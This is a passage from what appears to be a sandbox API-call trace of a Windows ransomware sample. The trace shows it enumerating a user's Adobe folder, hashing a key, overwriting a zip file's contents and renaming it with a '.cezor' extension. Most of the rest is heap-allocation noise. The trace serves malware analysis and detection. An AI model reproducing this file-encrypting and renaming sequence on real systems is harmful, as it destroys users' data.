ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0061.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0061.695] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0061.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.695] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=42495) returned 1 [0061.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.698] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.698] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.699] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.699] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.699] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.699] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0061.700] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.700] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.700] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.700] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.701] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.701] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.701] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.701] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.701] GetLastError () returned 0x0 [0061.701] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.701] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa600) returned 0x3132418 [0061.701] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.701] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0061.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.702] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.702] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.702] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.702] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.702] CloseHandle (hObject=0x5c4) returned 1 [0061.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0061.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0061.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.cezor")) returned 1 [0061.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.704] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.704] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.705] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5770 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0061.705] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0061.705] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.705] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.705] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap 